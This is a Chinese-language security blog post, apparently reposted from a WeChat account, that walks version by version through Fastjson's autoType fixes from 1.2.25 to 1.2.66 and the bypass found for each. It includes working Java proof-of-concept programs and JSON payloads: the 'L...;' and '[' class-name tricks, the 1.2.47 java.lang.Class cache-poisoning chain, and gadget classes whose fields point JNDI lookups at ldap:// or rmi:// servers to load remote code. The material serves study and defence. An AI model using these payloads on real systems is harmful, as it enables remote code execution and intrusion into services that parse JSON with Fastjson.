Fastjson各版本分析及绕过

admin 2024年9月13日12:45:10评论39 views字数 10021阅读33分24秒阅读模式

前言

我们在上一个环境中测试了fastjson1.2.24,我们现在来看一下之后fastjson很有意思的修补和绕过历史

环境搭建

在测试中,我们修改maven中fastjson的版本为对应的版本重新加载即可

Fastjson各版本分析及绕过

分析

fastjson1.2.25修复分析及绕过分析

我们先在1.2.25的fastjson环境重新运行1.2.4的payload

Fastjson各版本分析及绕过

发现报错误,提示不支持

autoType is not support. com.sun.rowset.JdbcRowSetImpl

这个就是在1.2.4漏洞发布之后,fastjson的修补,我们看一下具体的修补方法

我们先定位到报错的代码位置,我们可以看到在ParserConfig.java中有一个方法checkAutiType方法进行某种检测,检测失败就抛出json错误

Fastjson各版本分析及绕过

该方法在DefaultJSONParser.java中被调用

Fastjson各版本分析及绕过

我们看一下1.2.24中该位置的源码

Fastjson各版本分析及绕过

进行对比,发现在1.2.24中是在确定之后,直接通过loadClass方法进行指定类的加载,而在1.2.25中该位置换成了checkAutoType()方法对指定类进行判断,这也是对1.2.24漏洞的修复

我们仔细查看下checkAutoType()方法

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {    if (typeName == null) {        return null;    }    final String className = typeName.replace('$', '.');    //autoTypeSupport默认为false    if (autoTypeSupport || expectClass != null) {        for (int i = 0; i < acceptList.length; ++i) {            String accept = acceptList[i];            if (className.startsWith(accept)) {                return TypeUtils.loadClass(typeName, defaultClassLoader);            }        }        for (int i = 0; i < denyList.length; ++i) {            String deny = denyList[i];            if (className.startsWith(deny)) {                throw new JSONException("autoType is not support. " + typeName);            }        }    }    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);    if (clazz == null) {        clazz = deserializers.findClass(typeName);    }    if (clazz != null) {        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());        }        return clazz;    }    if (!autoTypeSupport) {        for (int i = 0; i < denyList.length; ++i) {            String deny = denyList[i];            if (className.startsWith(deny)) {                throw new JSONException("autoType is not support. " + typeName);            }        }        for (int i = 0; i < acceptList.length; ++i) {            String accept = acceptList[i];            if (className.startsWith(accept)) {                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());                }                return clazz;            }        }    }    if (autoTypeSupport || expectClass != null) {        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);    }    if (clazz != null) {        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger                || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver                ) {            throw new JSONException("autoType is not support. " + typeName);        }        if (expectClass != null) {            if (expectClass.isAssignableFrom(clazz)) {                return clazz;            } else {                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());            }        }    }    if (!autoTypeSupport) {        throw new JSONException("autoType is not support. " + typeName);    }    return clazz;}

1. autoTypeSupport默认为false,第一个判断中,如果autoTypeSupport开启或者白名单不为空,则先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤

Fastjson各版本分析及绕过

2. 从Map缓存中查找获取类

Fastjson各版本分析及绕过

3. 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错

Fastjson各版本分析及绕过

总的来说,这个检查方法就是使用黑白名单的方法来对进入的类进行判断和过滤

黑名单:

Fastjson各版本分析及绕过

bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

我们看完检查的方法之后发现autoTypeSupport是重中之重,了解一下autoTypeSupport。

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true

  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.

  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");

  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

我们在检查方法中可以看到一个判断为如果autoType开启,或者expectClass不为空,就加载对应类

Fastjson各版本分析及绕过

我们看下具体的loadClass方法

Fastjson各版本分析及绕过

如果类名的第一个字符是 [,表示这是一个数组类型。此时,递归调用 loadClass 方法来加载数组的组件类型(去掉第一个字符后的类名),然后使用 Array.newInstance 方法创建一个该组件类型的数组实例,并返回该数组实例的类对象。

如果类名以 L 开头并以 ; 结尾,表示这是一个带引号的类名(通常用于内部类或泛型类的表示)。此时,去掉开头的 L 和结尾的 ;,然后递归调用 loadClass 方法来加载这个新的类名。

如果我们想继续调用com.sun.rowset.JdbcRowSetImpl,它会被黑名单检测到com.sun.被终止,但是我们利用上面的判断,调用Lcom.sun.rowset.JdbcRowSetImpl; ,会绕过黑名单的检测。但是前提是autoType开启

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class fastjson_124_jndi {    public static void main(String args[]) {     try{            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);            String text1 = "{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}";            System.out.println(text1);            Object obj = JSON.parseObject(text1);        }catch (Exception e){            e.printStackTrace();        }    }}

Fastjson各版本分析及绕过

fastjson 1.2.42修复分析及绕过分析

在ParserConfig.java中将黑名单的类变成了hash值,防止知道内容进行绕过

不过黑名单的hash是可以爆破的,目前大部分的内容都已经被爆破出来,项目地址:

https://github.com/LeadroyaL/fastjson-blacklist

Fastjson各版本分析及绕过

删除开头L和结尾的;

Fastjson各版本分析及绕过

他只过滤了一次,我们可以双重进行绕过

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class fastjson_124_jndi {    public static void main(String args[]) {     try{            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);            String text1 = "{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}";            System.out.println(text1);            Object obj = JSON.parseObject(text1);        }catch (Exception e){            e.printStackTrace();        }    }}

Fastjson各版本分析及绕过

Fastjson各版本分析及绕过

Fastjson各版本分析及绕过

Fastjson各版本分析及绕过

fastjson 1.2.43 修复分析及绕过分析

我们再运行一下1.2.42的payload,已经不出所料的被ban了

Fastjson各版本分析及绕过

Fastjson各版本分析及绕过

对于LL等开头结尾的字符串直接不支持了

但是我们之前一直用的是开头L结尾;的方法进行绕过,之前分析的时候可还是有一个数组判断的

Fastjson各版本分析及绕过

我们进行数组方式的绕过 [com.sun.rowset.JdbcRowSetImpl,运行但是报错了

Fastjson各版本分析及绕过

根据报错,在,号前加上[,又报了{错误

Fastjson各版本分析及绕过

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class fastjson_124_jndi {    public static void main(String args[]) {     try{            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);            String text1 = "{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}";            System.out.println(text1);            Object obj = JSON.parseObject(text1);        }catch (Exception e){            e.printStackTrace();        }    }}

"[com.sun.rowset.JdbcRowSetImpl"[{, 绕过成功

Fastjson各版本分析及绕过

fastjson 1.2.44 修复分析(无漏洞)

Fastjson各版本分析及绕过

增加了规则,出现[字符直接抛出异常判断失败,所以[绕过的方法都失效了

这个版本还是比较安全的,没有因为修复不完全而出现新的绕过方式

fastjson 1.2.45绕过

绕过前提:

  1. 目标服务端存在mybatis的jar包。

  2. 版本需为 3.x.x ~ 3.5.0

  3. autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

payload为

//需要有第三方组件ibatis-core 3:0{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

主要就是黑名单绕过,这个类在1.2.46的版本中被加入到了黑名单

version

hash

hex-hash

name

1.2.46

-8083514888460375884

0x8fd1960988bce8b4L

org.apache.ibatis.datasource

fastjson 1.2.47 分析及绕过

在1.2.47之前有一个通杀漏洞,分为两种情况

1. 1.2.25-1.2.32:

未开启AutoTypeSupport时能成功利用

2. 1.2.33-1.2.47:

无论是否开启AutoTypeSupport都能成功利用

先分析下绕过的方式,再根据情况具体分析一下

我们在1.2.25分析中看过checkAutiType方法,在第二个判断中,有一个是关于缓存的判断,如果在缓存中找到了,就加载该类

Fastjson各版本分析及绕过

我们看一下getClassFromMapping方法,发现mappings里面都是键值对

Fastjson各版本分析及绕过

在这里就有思路就是通过两次解析来执行命令,第一次我们将com.sun.rowset.JdbcRowSetImpl加入到mappings里面,第二次我们再次解析时,就能在缓存里找到它,绕过黑白名单的检查来执行

paylaod为:

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class fastjson_124_jndi {    public static void main(String args[]) {     try{//            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);            String text1 = "{n" +                    "    "a": {n" +                    "        "@type": "java.lang.Class", n" +                    "        "val": "com.sun.rowset.JdbcRowSetImpl"n" +                    "    }, n" +                    "    "b": {n" +                    "        "@type": "com.sun.rowset.JdbcRowSetImpl", n" +                    "        "dataSourceName": "ldap://localhost:1389/Exploit", n" +                    "        "autoCommit": truen" +                    "    }n" +                    "}";            System.out.println(text1);            Object obj = JSON.parseObject(text1);        }catch (Exception e){            e.printStackTrace();        }    }}

fastjson 1.2.25 - 1.2.32

java.lang.Class加载

在未开启AutoTypeSupport时就跳过了黑白名单的检测

Fastjson各版本分析及绕过

我们第一次解析的是java.lang.Class,在之后的findClass方法中会被匹配到,返回了clazz

Fastjson各版本分析及绕过

在最后会调用MiscCodec.deserialze()

Fastjson各版本分析及绕过

在方法中对我们输入的进行解析处理

Fastjson各版本分析及绕过

Fastjson各版本分析及绕过

Fastjson各版本分析及绕过

Fastjson各版本分析及绕过

随后将com.sun.rowset.JdbcRowSetImpl赋值给strVal

Fastjson各版本分析及绕过

最后调用了loadClass方法执行,在方法中将

com.sun.rowset.JdbcRowSetImpl添加到了Mappings中

Fastjson各版本分析及绕过

com.sun.rowset.jdbcRow加载

随后第二次加载,因为AutoTypeSupport是关闭的所以第一个黑白名单检测会跳过,不会因为com.sun.rowset.JdbcRowSetImpl被检测到直接结束,这也是为什么这部分版本fastjson的设置AutoTypeSupport为关闭才能利用成功,如果是开启的,就算成功将它加入到缓存中也是利用不了的

Fastjson各版本分析及绕过

这样在getClassFromMapping方法中就会找到

com.sun.rowset.JdbcRowSetImpl,返回clazz

Fastjson各版本分析及绕过

一路执行

Fastjson各版本分析及绕过

Fastjson 1.2.33-1.2.47

在上面的1.2.25 - 1.2.32版本是AutoTypeSupport开启反而会利用失败,而在1.2.33-1.2.47版本中不管是否开启都能成功,我们来看一下

Fastjson各版本分析及绕过

在1.2.47版本中的checkAutoType版本中,对于黑名单的判断中,相比于上面多了一个TypeUtils.getClassFromMapping(typeName) == null判断,而且是and方式,这样的话,我们的payload在第一次中就会将com.sun.rowset.jdbcRow加入到缓存中,判断是不通过的,而在上面的版本当中,是没有这个判断的,所以进入黑名单判断时,会被检测并报出错误。

fastjson 1.2.48修复分析(无漏洞)

在1.2.47版本中,fastjson的cache默认为true

Fastjson各版本分析及绕过

在1.2.48修复中,已经修改为false

Fastjson各版本分析及绕过

这个修复就导致不能再通过缓存加载恶意类以此绕过黑名单了

Fastjson各版本分析及绕过

另外在黑名单多了两条,检测方法调整了逻辑

fastjson 1.2.5 <= 1.2.59

需要开启AutoType设置

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5 <= 1.2.60

需要开启 autoType:

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5 <= 1.2.61

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi

fastjson=1.2.62

需要开启AutoType

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson = 1.2.66

// 需要autotype true{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

参考

https://y4er.com/posts/fastjson-learn/#1262

https://forum.butian.net/share/2858

https://drun1baby.top/2022/08/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8703-Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/#0x08-1-2-25-1-2-47%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87

https://xz.aliyun.com/t/14872?time__1311=GqA2Y50K4IxBqDwqeqBKGQHi%3DqZ6NCrioD#toc-12

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任

欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。

原文始发于微信公众号(呼啦啦安全):Fastjson各版本分析及绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日12:45:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson各版本分析及绕过https://cn-sec.com/archives/3162311.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息